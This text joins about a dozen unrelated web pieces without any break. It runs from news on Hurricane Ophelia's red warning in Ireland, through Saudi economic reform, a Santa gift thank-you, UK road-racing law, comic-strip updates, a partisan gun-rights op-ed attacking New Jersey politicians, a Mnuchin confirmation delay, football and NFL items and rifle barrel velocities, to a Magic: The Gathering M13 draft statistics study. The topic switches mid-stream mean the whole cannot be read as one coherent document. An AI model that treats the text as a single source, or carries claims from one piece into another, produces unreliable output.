HURRICANE Ophelia will be the most severe weather event to his this country since Hurricane Debbie hit in 1961 - resulting in 15 deaths - Met Eireann has warned.
'This is not the remnants of a hurricane, this IS a hurricane' - Red weather warning extended nationwide as Hurricane Ophelia barrels in
This evening Met Eireann confirmed that a red weather warning has been extended nationwide.
Speaking on this evening's weather forecast, meteorologist Joanna Donnelly told viewers "this is not the remnants of a hurricane - this is a hurricane".
Every school and college in the country will remain closed tomorrow as a result, the Department of Education has said.
The public have been urged not to make unnecessary journeys.
Employers have also been urged to give their employees guidance how working arrangements have been affected in light of the national red warning.
Met Eireann forecaster Evelyn Cusack at the National Emergency Coordination Centre today. Photo: Mark Condren
The issue of red level severe weather warnings implies that recipients take action to protect themselves and/or their properties; this could be by moving their families out of the danger zone temporarily; by staying indoors; or by other specific actions aimed at mitigating the effects of the weather conditions. It is the highest level of alert Met Eireann can issue.
Aer Lingus has said that over 50 flights have been cancelled so far. Affected passengers have been contacted by text.
Latest guidance from the National Hurricane Centre. Bear in mind times shown are AST so add 5 hours. Forecast: Map showing predicted path of Ophelia
The army remains on standby to offer assistance in the event there is severe flooding or storm damage in affected communities.
Gardai have advised cyclists in all counties to use public transport or drive rather than cycle in the conditions.
Nearly all court sittings nationwide have also been cancelled.
This affects all Supreme Court, Court of Appeal, High, Special, Circuit and District Courts sittings in the country.
Some Custody hearings of the District Court will go ahead via local arrangements, however it is hoped many of these can be conducted by video link.
People summonsed for jury duty for the first time or acting as a juror in an on-going trial should not report to courthouses Monday October 16th - but should instead report on Tuesday.
Officials have been holding a briefing at the National Emergency Coordination Centre today, with people being warned to stay indoors when the hurricane hits their area tomorrow.
The south, south west and west are set to be most-exposed to Hurricane Ophelia, including Waterford, Cork, Kerry, Galway and Mayo.
Met Eireann forecaster Evelyn Cusack told the briefing the weather event was almost unprecedented for this country.
The hurricane will hit the south west coast from around 6am tomorrow and will pass north east across the country.
It had been described as “rapid moving” and will have passed by Tuesday.
Sean Hogan, national director for fire and emergency management, said it was an “extreme weather event.”
“The comparable weather event we are looking at is Hurricane Debbie in 1961,” he said.
“Everyone in the country needs to take heed of what’s coming,” he said.
Met Éireann has also warned that structural damage and flooding is possible.
"The swathe of the area affected by the storm may exceed 100km," Mr Hogan explained.
Ms Cusack said Met Eireann took the "unprecedented step" of issuing a status red warning more than 48 hours before a weather event.
"We issue very few red alert warnings and certainly, they are always within a 24-hour period," she explained.
She referred to weather charts showing the hurricane's predicted pass over Ireland, which she said looked "a little alarming".
"That's because it is an unprecedented weather situation," she said.
She described the fine weather of the weekend as "the calm before the storm."
She said only 15 hurricanes have passed within 200 nautical miles of the Azores since scientific monitoring began in 1851.
Farmers have been warned to ensure that any equipment they have is secured.
Soldiers have been mobilised in areas of the country including Kilkenny to help fill sandbags, while Defence Forces engineering assets such as pumps have also been stood up.
People have been warned to stay away from coastal areas tomorrow as the storm passes and also to avoid fallen cables.
"Following a special meeting of the Government Task Force on Emergency Planning in response to the imminent Storm Ophelia, the Department of Education and Skills is now informing all schools in areas affected by Met Éireann’s status red wind alert that they are to act on the Department’s advice and remain closed tomorrow, Monday 16 October," the Dept said in a statement."
"For parents, this means that their children will not attend school tomorrow in any area where there is a status red wind alert already announced or announced in the intervening time.
Earlier, Minister for Foreign Affairs, Simon Coveney urged the public to take the severe weather warnings seriously.
The former Defence Minister wrote on Twitter: “Anybody not taking storm Orphelia seriously should think again - I don't remember ever seeing a forecast for the south coast quite like this.”
Met Eireann’s Gavin Gallagher said: “As you can imagine this morning, there’s quite a lot going on. “It’s quite unusual to have such a strong storm system in this part of the world. It’s the strongest hurricane in the Atlantic on record in history.”
“(Met Eireann forecasters) just had a four-way conference call with the National Hurricane Centre in Miami, the National Weather Service in the US and the Met Office in the UK.”
Mr Gallagher stressed that the hurricane will downgrade to a storm by the time it hits Ireland.
"It has the potential to be as bad as Debbie," said Pat Clarke of Met Eireann. "The track is pretty much consistent now. These things can take on a life of their own but it certainly has the potential to be similar [to Debbie]."
At this stage, there is strong evidence from weather forecast models that the remnants of Ophelia will track close to or over parts of Ireland, but at present, there are still a wide range of possible outcomes.
Met Eireann forecasters will be tracking Ophelia's evolution in the next 24 hours, with emergency response teams still hopeful the country will escape the worst of the storm.
The US National Hurricane Center said yesterday Ophelia had become a "rare category 3 hurricane south of the Azores", making it the "sixth major hurricane of the 2017 season".
"No significant change in strength is expected today, but gradual weakening should begin tonight or Sunday. However, Ophelia is still expected to remain a powerful cyclone with hurricane force winds for the next couple of days as it approaches Ireland," it said.
The issue of red level severe weather warnings is a comparatively rare event and implies that people take action to protect themselves and/or their properties.
This could be by moving their families out of the danger zone temporarily, staying indoors, or by other specific actions aimed at mitigating the effects of the weather conditions.
The Office of Emergency Planning in the Department of Defence has taken a lead role in co-ordinating a response across State responders.
Ophelia is expected to pass Ireland tomorrow, with forecasters warning of severe disruption, coastal flooding and structural damage to buildings. People have also been warned of the risks posed by falling trees with transport infrastructure likely to be hit along the western seaboard.
Environment Minister Denis Naughten yesterday warned that the country should prepare for more "very severe" storms which will "ravage through people's homes".
"You are going to see an increased frequency of extreme weather conditions like the 100-year floods happening every five or six years," Mr Naughten told the Sunday Independent.
"The climate change scientist won't relate any one particular event to climate change but the reality is we have seen in Ireland over the last decade very unusual weather incidents that would have been spread out over a much larger period up until now," he said.
The Department of Education advises that schools "should consider not opening where a Status Red weather warning related to wind is forecast to coincide with the period/s during which students and staff would be expected to be travelling to and from school.
"Whether the school should open later in the day where an improvement to the weather is forecast is a decision which should be taken in consultation with An Garda Siochana, the local authorities, school transport services and other appropriate agencies based in the school's area."
Age Action Ireland have urged people to do their best to ensure elderly relatives stay safe during the worst of the storm.
Justin Moran, Head of Advocacy and Communications with Age Action, said: “Some of the reports are predicting the worst storm to hit Ireland in 50 years so we would urge older people, particularly those living in alone in isolated areas, to take every precaution.
“They might like to consider staying with a relative for the next couple of days. They should certainly ensure they have enough food and fuel to be comfortable in case the roads become dangerous.
“We would also urge the neighbours of older people to please make the effort to look in on them to make sure they’re okay if your community is particularly hard hit by the storm.
“Even if they’re alright many older people get an enormous sense of comfort from knowing someone is keeping an eye out for them.”
Over the past three years, as Saudi Arabia’s new heir to the throne was plotting his ascendancy, he surrounded himself with public accounts and private advisers who all drew the same conclusion – the kingdom itself was at serious risk if its people didn’t change their ways.
On every front, the house of Saud faced a struggle – that it would probably lose – to retain its grip on a country that was moving towards implosion. Culturally, socially and economically, Saudi Arabia needed an overhaul and Mohammed bin Salman, who sensationally ousted his uncle, Mohammed bin Nayef, as crown prince earlier this year, pinned both his startling rise and eventual legacy to the most comprehensive reform attempt that kingdom has yet seen.
An absolute monarchy with a bloated, inefficient public sector, a huge government payroll and a resistance to change was never going to be an easy target. Add to that a mindset of entitlement among many Saudi young people and low productivity, and the challenges seem close to insurmountable. Central to the young prince’s plan is unlocking wealth and giving its citizens a buy-in. As sweeteners, he has also thrown in cultural reforms, such as opening cinemas, promoting concerts and other enhancements to social life that many Saudis crave.
The partial sale of Aramco – potentially the world’s biggest company – is the centrepiece of his broad privatisation push.
Facebook Twitter Pinterest Mohammed bin Salman: carte blanche to reform. Photograph: Reuters
Aramco is one of the world’s most opaque organisations: a state-owned oil conglomerate that holds the keys and secrets to the kingdom. Tapping into its revenue stream is seen by the country’s rulers and investors alike as a vital step to weaning the economy off its near-total dependency on oil.
Its true valuation is being assessed in all the world’s financial capitals, where initial curiosity about the Saudi transformation has started to turn to tangible interest.
Investment-house chiefs and merchant bankers have been regular visitors to Riyadh this year, where bin Salman – a 31-year-old with carte blanche to reform – has hammered home his Vision 2030 plan, which, if successful, would transform more than just the country’s ossified economy.
“This is cultural revolution disguised as economic reform,” one senior minister told the Observer in Riyadh earlier this year. “Everything hangs on it.”
More than 60% of the Saudi population is aged under 30 and among that demographic are large numbers of disenfranchised youngsters dissatisfied with the current social contract, which is bound up in rigidly conservative rules governing social interactions. Entertainment and fraternisation are mostly outlawed. Jobs are few, and often menial. There are fears that in the absence of credible alternatives, extremist groups may provide a lure.
Overhauling the way that Saudis live is intertwined with changing how they work. Despite enthusiasm among many sectors in society, there is broad resentment among other communities to the scale and scope of the plans. “The leadership is significantly less conservative than the base,” said the senior minister. “None of this will be easy at all.
The great Saudi sell-off: why bankers and lawyers are flocking to the Gulf Read more
“They are hoping for whole shift in values set within a generation. To do this, they will have to take on the clerics at the same time as building a new economy.”
The ant farm is going to be a blast this summer when we can collect some specimen. She was worried for their safety at first until I explained, the ant farm doesn't come with ants. So cute.
She loves teddy bears! She loves teddy bears! She LOVES teddy bears! Thank you, thank you, thank you Santa!
She and I are going to spend the next week reading The Reindeer Girl to one another each night. Perfect timing too as we just finished The Hobbit!
That fashion kit is so cool! She and her grammy do lots of crafts all the time, and this is going to be a great intro for her to sewing.
I hope Santa doesn't mind, but I tried one of her cola flavored gummy candies. Oh my God! One of the best tasting things I've ever had in my mouth!
You'd laugh, but she is such a geek for pencils and erasers! She freaked out when she saw them (in a great way).
The government is to change the law to give local authorities the power to stage motor races on public roads.
Prime Minister David Cameron made the announcement on a visit to a new Williams F1 team engineering centre.
The government has conducted a consultation on the issue.
It is currently a criminal offence in England, Wales and Scotland to promote or take part in a motor race or trial of speed on a highway or public road without specific legislative approval.
In the past, Parliament has passed legislation, via a Private Member's Bill, to approve individual races such as the Jim Clark Rally and the Tour of Mull on an event-by-event basis but this process can take 18 months.
The government is now proposing to give local authorities the powers to suspend speed limits and some traffic regulations in certain conditions.
Speaking at the Williams facility in Oxfordshire, Mr Cameron said the move would be "great" for motorsport and would mean "more races, more events and more money coming into our country".
Tour inspiration
The success of last week's Grand Depart of the Tour de France showed the public's appetite for road races of both the two-wheel and four-wheel variety, he suggested.
It is thought that the change could result in as many as 20 races every year on public roads.
Analysis
Image copyright PA Image caption Martin Brundle demonstrates a Jaguar F1 car in London's Regent Street in 2004
By Andrew Benson, chief F1 writer, BBC Sport
This decision is not about a potential London Grand Prix, it is about making it easier to hold small-scale local events such as hillclimbs and rallies on closed roads.
It does remove one potential obstacle to a Formula 1 street race in London, but many more remain.
Speculation about such an event continues to rumble on, but F1 impresario Bernie Ecclestone looked into it carefully several years ago.
The conclusion was that logistically and, especially, financially it was a non-starter. Nothing has obviously changed on that front.
Mayor of London Boris Johnson, who has said he would like to bring an F1 race to London, said he strongly backed the idea of more street races.
"He is always interested in projects that attract jobs and bring growth," a spokesman said.
"He is positive that London would do a spectacular job of hosting an F1 Grand Prix. But it is impossible to say what the impact might be without detailed planning and research and the question of air quality and noise impact would have to be looked at very carefully."
'Expensive'
Image copyright Reuters Image caption Mr Ecclestone has the final say on where F1 races are held
Bernie Ecclestone welcomed the announcement as a sign that the government recognised F1 was "not just a motor sport, but was powerful, good for the country and brings in money".
But he said this did not mean that staging a championship race in London was a given.
"The news is good, but I don't know whether you'd have street racing because it's not cheap to put on something that's safe," he said.
He said street racing was very expensive, but added: "If they ever get it together then we'll see what happens. At least it's a good sign, a step in the right direction."
The AA also welcomed the move, saying the 2012 Olympics and Grand Depart showed that residents can "adapt to road closures and well-planned restrictions" while enjoying the events themselves.
The prime minister's spokesman said the change would feature in the deregulation bill, which is currently being considered by Parliament.
It would apply in England and, subject to the agreement of the devolved governments, to Scotland and Wales as well.
Last updated: Saturday December 15, 2018
New Fastrack book!
"Autocorrect," the complete collection of Fastrack strips from 2015, is now available!
http://www.lulu.com/…/autoc…/paperback/product-23871607.html
Jack Davis Award
I have just been honored with the 2018 Jack Davis Award in recognition of the legendary MAD Magazine artist, given by the Southeastern Chapter of the National Cartoonists Society. I'm humbled, as I've always attempted to live up to his impossible standard.
Hare Link video
Toucan Toco has his second video giving information on Hare Link's services.
Dethany's December video
https://youtu.be/7HxwxsyAne8
'Tis the season for corporate holiday parties, and Dethany offers advice on surviving them...either as an attendee or as the poor soul who got roped into organizing one.
Litttle Shop of Carnivores
The 2016 "Kevin & Kell" collection now available!
Fastrack on Apple News
Major news! “Fastrack” is now available on Apple News. 🙂 On your Apple mobile device, access the News icon. At the bottom of the screen you’ll see a Search icon. Tap it, and type On the Fastrack. It will take you to the “Fastrack” channel and you’ll be able to access today’s strip!
New Hare Link site!
Please check out Hare Link's new site, featuring an introductory video from Toco the Toucan! Remember, choosing Hare Link for your webhosting directly supports the strip.
Vintage Kevin & Kell
Manasquan, NJ –-(Ammoland.com)- NJ Senate President Steve Sweeney continued his recent self serving, Anti Gun/ Pro State Mandated Victimhood diatribe on his weekly “Twtter Thursday” event yesterday.
Making yet another in a long series of outrageous claims and conflations regarding firearms and their uses in his maniacal pursuit of the Governor's Office in 2017.
Sweeney Tweeted ( http://tiny.cc/340zbx ) “No Mass Shootings and NJ doesnt have concealed carry, so concealed carry helps how ? “
Apparently attempting a pathetic and ignorant effort to correlate the fact that NJ refuses to recognize the rights of its Citizens to Self Defense as “proof” that is a good policy to have, because it somehow has prevented Mass Shootings from taking place in the State. Only it has not.
Ironically, one of the sources Senator Sellout cited in his Twitter barrage last week, a USA Today database of Mass Killings in the United States since 2006, shows that at least two Mass Killings have taken place in NJ. Both in September 2008. One a family mass shooting involving a Husband and Wife Domestic dispute in Camden NJ, perennially listed as one of the Top 5 most dangerous Cities in the Country, and one on September 8th 2008 in Irvington NJ where four people were killed as the victims of a Home Invasion style Robbery/Burglary.
Some readers, and certainly Sweeney supporters will attack this article by pointing to the fact that I could only locate two mass shootings in NJ within the last 6 years as some sort of proof that Sweeney is right. Only they would be missing so much more of the bigger picture in their desperate efforts to deflect attention.
When Sweeney and others point to the false equivalency of “No Mass Shootings in NJ” as proof that the current policy of State Mandated Victimhood is a good thing they are essentially openly admitting that all the other victims of violent crime don't matter. I have been saying for years now that it is plainly obvious that Sweeney, Loretta “Confiscate” Weinberg, Lou “Empty Suit” Greenwald, certain Judges, former Governors, State AG's and yes even former State Police Superintendents are perfectly willing to see an arbitrary number of innocent victims sacrificed as necessary tributes to Anti Gun Ideology.
They are willfully ignorant , Loretta “We pass laws all the time we know nothing about” Weinberg, as well as deliberately deceitful in forcing their personal beliefs on the Citizens of NJ through secret backroom deals, dirty parliamentary tricks. Like NJ Asm Charles Mainor illegally halting a Committee Vote last Summer when it became apparent he didn't have the needed support and moving the vote to a different Committee the following week that he held sway over. To carving out exemptions for themselves ( Again Asm and Law and Public Safety Committee Chair Charles Mainor, a Police Officer) who reliably ensure there are exemptions for fellow Officers to the laws the rest of the Citizenry is compelled to follow under the threat of State reprisals.
What they are saying by both deed and occasionally in an unguarded moment by word is that people like Dustin Friedland and his wife are not as important as votes for Office.
People like Christina Eberle, kidnapped from the Patco Train Station in Camden, dragged kicking and screaming into a car by her attackers in full view of an eyewitness who called 911, and found strangled to death the next day are inconsequential.
People like the young mother from Milburn NJ ( just outside Newark) who was viciously beaten in front of her toddler last Summer, in her own home as a victim of a horrific home invasion robbery committed by a repeat felon.
People like the hundreds of thousands of victims of violent crime annually in NJ, who's right to even make the choice of whether or not to defend themselves and their loved ones at home or in public has been stolen from them.
Sweeney, his cohorts in the Legislature, his enablers in the Media, like Tom Moran of the Star Ledger, Judges that release violent criminals back onto the streets while regularly denying peoples applications to carry for self defense are culpable . The assorted Anti Gun Groups and their supporters are all equally culpable as immoral Co Conspirators. Directly and indirectly contributing to the victimization of innocent Citizens, while absolving themselves of any responsibility for it.
It is reprehensible, it must stop and those that support State Mandated Victimhood must be called out publicly and held accountable for their betrayal.
Democrats blocked a routine procedural step that would have allowed the Senate Finance Committee to vote on whether to recommend Steven Mnuchin be confirmed as Treasury secretary by the full Senate. The committee will vote on Mnuchin’s nomination Tuesday morning, when it will also consider Rep. Tom Price’s (R-Ga.) nomination to be secretary of the Department of Health and Human Services.
“While not surprising, this is an unfortunate and needless delay that simply means the Committee will reconvene tomorrow morning to vote on the nominee for U.S. Treasury Secretary,” said Julia Lawless, spokeswoman for Senate Finance Committee Chairman Orrin Hatch Orrin Grant HatchThe FDA crackdown on dietary supplements is inadequate Orrin Hatch Foundation seeking million in taxpayer money to fund new center in his honor Mitch McConnell has shown the nation his version of power grab MORE (R-Utah).
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Democrats delayed the Mnuchin vote so they could attend a candlelight vigil protesting Trump's executive order temporarily banning the immigration of citizens from seven Muslim-majority countries to the U.S., said Rachel McCleery, spokeswoman for ranking Finance Committee Democrat Ron Wyden Ronald (Ron) Lee WydenSenate reignites blue slip war over Trump court picks Overnight Health Care — Presented by National Taxpayers Union — Top Dems call for end to Medicaid work rules | Chamber launching ad blitz against Trump drug plan | Google offers help to dispose of opioids Top Dems call for end to Medicaid work rules after 18,000 lose coverage in Arkansas MORE (Ore.).
“Democratic Members on the Senate Finance Committee have asked to postpone the markup of Mr. Mnuchin in order to attend the candlelight vigil happening at 6 p.m. this evening," said McCleery. "This delay will allow members to protest the President’s unconstitutional ban on Muslims entering the United States while voting on Mr. Mnuchin’s nomination little more than 12 hours later.”
Trump critics around the country have called on Democrats to oppose all of his nominees, regardless of their credentials or experience, as a way to block the new administration’s agenda. Even progressive icons Sens. Elizabeth Warren Elizabeth Ann WarrenDNC chair: GOP labeling Democratic policies socialist because 'they’re wrong on the issues' Bannon: 'Zero' doubt Trump will run for reelection Bernie is back with a bang — but can he hold on to his supporters? MORE (Mass.) and Sherrod Brown Sherrod Campbell BrownDems face internal battle over budget On The Money: Dems set Tuesday vote on Trump's emergency declaration | Most Republicans expected to back Trump | Senate plots to avoid fall shutdown drama | Powell heading before Congress Brown, Rubio trade barbs over ‘dignity of work’ as Brown mulls presidential bid MORE (Ohio) were excoriated by some supporters for voting in favor of Ben Carson’s nomination to be secretary of Housing and Urban Development.
Mnuchin, a former Goldman Sachs partner and Hollywood producer, has been a prime target for Senate Democrats. They’ve focused largely on his time leading the California-based OneWest Bank, which foreclosed on more than 100,000 homes during the 2008 housing crisis.
Even so, Mnuchin made it through his Jan. 19 confirmation hearing with little incident, meaning he’ll likely be confirmed along party lines.
Sky Sports understands clubs from both England and Europe are interested in signing Jack Rodwell from Manchester City.
City are yet to officially open talks with any interested parties, but a host of teams are jostling to land the England international, either on loan or on a permanent basis.
The 23-year-old joined City in 2012 when they paid Everton more than £12million for his signature, but lack of first team opportunities have hampered his progress and he has played just 26 times to date.
But Rodwell, who can play in midfield or defence, is still considered to be one of the finest young talents in English football.
Sky Sports can reveal that Newcastle, Sunderland, Stoke, Hull, Southampton, West Ham, Tottenham, Swansea, West Brom and former club Everton, as well as teams in Spain and Italy, all have an interest in landing him.
» The Saints traded up to No. 20 overall in last week's draft to grab Oregon State's Brandin Cooks, the fastest wide receiver in this year's class. Cooks gives the Saints a dangerous weapon in space and looms as a potential Pro Bowl performer in the slot alongside Jimmy Graham, Marques Colston and Kenny Stills. Coach Sean Payton will find a way to use them all in a scheme that figures to lean heavily on a flood of three-wideout sets.
» You won't find a better safety tandem east of Seattle. The combination of free-agent addition Jairus Byrd and last season's dynamic rookie Kenny Vaccaro will allow defensive coordinator Rob Ryan to attack opponents with an array of exotic looks. With the newly added Champ Bailey along for the ride at cornerback, look for New Orleans to operate generously out of the nickel. Whether that means three corners or a trio of safeties, the Saints promise to be fascinating All-22 fare from beginning to end.
» The loss of Darren Sproles won't be easy to fill. Cooks looms as an X-factor through the air, but it will fall to a committee of Mark Ingram, Pierre Thomas and young Khiry Robinson to churn out yardage on the ground. Ingram was dominant in a 14-carry, 145-yard romp over the Cowboys in Week 10 and showed well in the playoffs, but it was Robinson who carried the ball 12 times in the regular-season finale with another 21 totes in the postseason. Fantasy owners will be driven insane. Our dark horse? Payton has repeatedly mentioned Travaris Cadet as a candidate to replace Sproles as a pass-catcher out of the backfield.
Barrel Length (inches) Average Muzzle Velocity (fps) 20″ 3019 fps 16″ 2837 fps 7.5″ 2135 fps
Here is an inferred trendline based on the measured velocities for other 223 Remington barrel lengths. 5.56 barrels would likely be very similar. The blue bars indicate actual measured velocities, and the gray bars indicate an inferred muzzle velocity.
There is much debate on how much velocity is lost when you start chopping down the barrel, and there are even a few people that think velocity loss is a myth. That is ridiculous. Although the amount of loss for a particular cartridge and barrel length is still up for debate (and is debated fiercly on many forums) … the fact is that there is virtually always some velocity loss when you reduce the barrel length. Now how significant that is, and whether it is worth it for your application is up to you.
This numbers for this study come from observing the first round matches of nine 64-man drafts on MTGO. I watched each of these matches, recorded the information, and then broke down the numbers. I managed to watch over 250 matches, seeing more than 500 decks in action, which is over 600 games of M13 limited.
I have been terribly excited for the online release of Magic 2013. Unfortunately, I was unable to make it to the M13 prelease in paper or online, since I had family obligations come up in both instances. But I’ve been hearing a lot of good things about the format, and I was excited to take a stab at it myself. I always get very excited to do these statistical analyses, since I gain so much from them myself. The great thing about Magic 2013 is that it held my interest through the entire 600 games. The only other format that has done that so far was when I watched Cube. While I was one of the few people that enjoyed AVR limited, I recognize that it had a lot of flaws that made people not want to draft it. One thing I learned in this study that can’t be demonstrated by numbers is just how much fun it is to draft M13. I think it is easily the best core set limited experience in Magic’s history, and I’m excited to draft it for the next couple of months, and I will probably come back to it periodically over the next year.
One thing worth noting is that every format is more fun when you can draft it successfully, so hopefully this article will help you get off to a great start in the format.
Speed
Ending Turn of Magic 2013 Draft Games
Ending Turn of Magic 2013 Draft Games as Compared with AVR and OLS
In the first chart, we see the ending turn of Magic 2013 draft games. In the second chart, we see that chart compared with the same charts from both AVR and OLS. The first thing that I noticed is that M13 is about one turn slower than AVR and about one turn faster than OLS, by comparison. AVR is our archetypical fast format, while OLS is a good example of a slightly slower than average format, while M13 ends up being a great example of about what we would expect for a normal speed for a modern draft format. It is slow enough that you can feel comfortable playing your six casting cost bombs, but fast enough that bears like Walking Corpse or Silvercoat Lion is still strong.
It is important to notice that M13 has a high number of results for turns seven, eight, and nine. In fact, more than half of all Magic 2013 games end within that range of three turns. This is much different from either of the other formats, which both had a sharp peak followed by a steep drop to the next turn. This tells us two important things about the format. First, M13 games are fairly predictable, in that an exceptionally high percentage of games end at about the same time. However, this also tells us that there is a high variation in the types of decks that are doing well. If only aggressive decks were doing well, we would expect to see a sharp peak on their optimal turn. If only control decks were doing well, we’d expect to see a more gradual rise and drop. Instead, we see a format where the good aggressive decks can do well enough to win on Turn 7 or 8 most of the time, the good versions of the slightly slower tempo and attrition decks are able to stabilize and turn the game around to win on Turn 8 or 9, and the good control decks probably account for some amount of the wins on turn 9 as well as the uptick on turn 11. We see that any of these strategies is viable, as long as you build your deck correctly.
This information also shows us the viability of cards at higher mana costs. In this format, you will reach six mana in the majority of your games, so it isn’t a liability to play six mana spells. However, you will often only have two or three turns with six mana available, so you want to make sure you don’t draft too many expensive spells. Cards like Captain of the Watch, Nefarox, Overlord of Grixis, or Staff of Nin should be high picks that always make it into your deck. Cards like Phyrexian Hulk or (Vastwod Gorger) are playable, but they will often only be able to come down and attack once or twice before the game is over, so you should not worry about drafting them very highly at all. Reaching seven mana is much more difficult, and you will only do so in about 40% of your games, unless you specifically make choices that allow you to reach seven mana more easily. This might mean playing an extra land, or playing cards like Farseek or Arbor Elf. Spending seven mana on something that will usually win the game by itself when it hits the board, like (Akroma’s Memorial), Elderscale Wurm, or Sphinx of Uthuun is a good idea, and those cards should be high picks. However, cards like Duskdale Wurm, Hamletback Goliath, or Serra Avatar don’t give you enough reward to justify playing them most of the time.
The two 8 mana cost elephants in the room, Nicol Bolas, Planeswalker and Stormtide Leviathan merit special attention. Both of these are cards that win the game virtually every time they hit the battlefield. However, in a deck with 17 lands and no acceleration, you are only going to be able to cast them in about 20% of the games that you play them. That is a significant risk that you should avoid as much as you can. However, their effect is so dramatic that many players will attempt to draft them highly and then craft a deck that can cast them. This is certainly a possibility. If you play 18 lands, a Gem of Becoming, and a Gilded Lotus, then your chances of casting these cards goes up dramatically. Likewise, you can increase your chances of living longer by playing cards like Fog Bank or Kraken Hatchling. The problem is that you need a plan for your deck if you don’t draw either of these cards. That plan often comes in the form of Vedalken Entrancer, which can make for a powerful deck. The question is whether such a strategy is more effective than just taking a card like Murder or Pacifism, or possibly even something like Welkin Tern or Bloodhunter Bat. The answer is that most of the time, you probably just want to take the cheaper cards. It would take a very weak pack to make me first pick Nicol Bolas, Planeswalker if we were not considering his monetary value or the value of drafting a fun card and trying to make it work. Essentially, you probably have better options than playing Nicol Bolas, but you can certainly make it work if you have your heart set on doing it.
Play or Draw
One of the most interesting things to discuss about a format is whether you should play or draw. Most players will choose to play in the vast majority of games, since it has historically been the best choice, and because you don’t lose as much value if you are wrong. But some players will insist that it is better to draw in a format. I decided that for this study, I wanted to find out who was right, so I tracked who won each game based on whether they played or drew, as well as whether they actively chose to draw in their game.
After over 600 games, I saw that playing won the game 49% of the time, while drawing won the game 51% of the time. This is essentially a statistical tie. Drawing might be slightly favored in M13, but we really can’t demonstrate that scientifically, since there are a lot of factors involved, and just a few results in either direction would change the numbers by a lot. What we can see is that choosing to play is not demonstrably better, according to this data. However, I also tracked the results based on whether a player actively chose to draw. I should note that only 6.8% of players chose to draw when they had the choice; almost everyone choose to play first. With that said, let’s look at this data.
Play Draw Percent 49% 51% Win Rate Choosing Draw 84% 16% Win Rate Choosing Play 47% 53%
Our first row shows us the data we saw above, which is a virtual tie between the two choices. However, the second two rows show us a much different story. We see that when a player chooses to draw, they will lose 84% of the time. Meanwhile, if a player chooses to play, they will lose 47% of the time. Both of these are statistically relevant differences, but they make us wonder what in the world could possibly be going on. This data seems to suggest that most Magic players are making exactly the wrong decision! Keep in mind that the number of people choosing to play is significantly higher; it is probably the right choice for the majority of those people. However, there is some percentage of games where people should be choosing to draw, even though they are not. But the most interesting statistic is that people who chose to draw were clearly making the wrong choice. Essentially, we see that the people who think they know when to choose to draw are essentially fooling themselves into making the statistically inferior decision. The question that we must ask ourselves is “When should a player choose to draw?” While understanding the answer will not give us a huge edge, a dedicated Spike should be trying to find an edge wherever possible.
Luckily, I can give you some answers. It is important to remember that I didn’t get this data from running a program; I got it from watching all of these games, which means that I am a little bit more informed on what this data actually means. There were a couple of things that I saw. First, the people who chose to draw tended to do so when they were playing slower control decks. They would then get smashed by their more aggressive opponent. I clearly saw that choosing to draw with a slow deck is just a silly decision. Meanwhile, the decks that were winning on the draw tended to be either attrition decks or control decks that were paired up against the mirror match. The most important thing that people tend not to understand is that the choice to draw depends much less on the contents of your deck. Instead, it is entirely matchup dependent, and is mostly affected by the contents of your opponent’s deck.
The answer to whether you should play or draw is as follows:
1. When you win the die roll, you should always choose to play. (Unless you know what your opponent is playing, by scouting the replays). This is the statistically correct decision to make. Since you don’t know what your opponent is playing, you don’t know whether it is a matchup that is benefitted by a draw. Also, choosing to play in a draw matchup is much less wrong than choosing to draw in a play matchup.
2. Only choose to draw when you are playing an attrition deck against another attrition deck, or a control deck against another control deck. In both of these circumstances, your early turns are a little bit less relevant. In the attrition mirror, you are both going to be trading off your early creatures, and the game will often come down to a card advantage battle in a long game. In those kinds of games, playing first doesn’t really give you an advantage, while getting an extra card is a huge benefit. Control mirrors are similar, in that the early plays don’t matter as much, since they will be defensive in both cases. Instead, you want the extra card so that you can dig deeper and find your bombs.
3. If you are not 100% sure that you should draw, then you should choose to play. It is the right choice most of the time, and even if you are wrong, you will be punished much less than if you had wrongly chosen to draw.
Some players think that if they are the slower deck, they should be drawing in most games, but this is flawed thinking. Your deck is already built to take advantage of a long, card advantage based game. Against the majority of decks, you should be trying to get your defenses up quickly so that you don’t die before you can turn on your card advantage.
It is worth noting that it is not good to draw in the Aggro mirrors or Tempo mirrors. This is because both decks are focused on playing creatures that are more efficient at attacking than blocking. If you get your aggressive creatures down faster and make a deep bite into your opponent’s life total, then they will soon be forced to hold their creatures back on defense, a job for which they are ill equipped. Suddenly, your creatures become much better than your opponent’s.
Likewise, you want to play first in the Attrition vs. Control matchup, no matter which side you are on. For the attrition deck, you know that your opponent has more inevitability, so it is important to get some creatures down early and eat away at your opponent’s life total. When the control deck stabilizes, you hope to have them at a low enough life total that you can have a few big plays to punch through the last little bit of damage before the control player just beats you with card advantage. Likewise, the control deck in this matchup wants to get some early defenses down, since it knows it will beat the attrition deck in the long game. As long as the control deck keeps its life total high by the midgame, they will probably end up winning on inevitability.
Colors in M13
Win Rate, Popularity, Draft Win Rate by Match One Win, and Draft Win Rate by Popularity; by Color.
White Blue Black Red Green Average Match One Wins 49% 48% 52% 51% 51% Of total 42% 39% 46% 34% 37% 3-0 by Match 1 Win 30% 26% 31% 21% 20% 3-0 by Pop. 15% 12% 16% 11% 10%
This table looks a little different than it has in past installments, since I added two sections. The first row shows the average Win Rate of each color. The second row shows the popularity of each color. The third row shows how likely a color is to go 3-0 after winning round one. The fourth row shows how likely a color is to go 3-0 overall. It should be noted that 25% in row three would be considered average, while 12.5% would be considered average in row four.
The most important thing to note here is that black leads in all four categories. It really seems indisputable that black is the best color in M13 draft, and it appears that the majority of players would agree, based on how often it is being played. Decks playing black are the most likely to win the draft, and the good black decks that manage to win round one will end up winning the draft almost one third of the time. But it is important to note how narrow the margins are between the five colors. This isn’t like AVR or OLS, where one or two colors were winning by a demonstrably wide margin. Instead, we see a very balanced win rate. Black seems to be the best color, but not by enough that you could justify trying to force it in any particular draft.
Towards the bottom of my last M13 Article I mentioned that I anticipated that black would be the best color, and I pointed out my reasoning. Essentially, Black has the best common in the set with Murder it has good creatures for the first time in a long time, and it is very deep. It also gets cards like Liliana’s Shade that are particularly well equipped for breaking through the kinds of stalled boards that show up in M13. The cards are also versatile, since you can play aggressively with Servant of Nefarox or you can be the control deck with Giant Scorpion. It supports a wide range of strategies and also gives you a lot of raw power.
Another interesting thing is that all of the other colors don’t match their match one wins against how often they go 3-0. Green managed to have the slight edge on Red in Match One wins, but Red has a slight edge in going 3-0. However, both colors underperform in going 3-0. Meanwhile, both White and Blue don’t put up very good match one wins, but they have pretty good numbers on going 3-0.
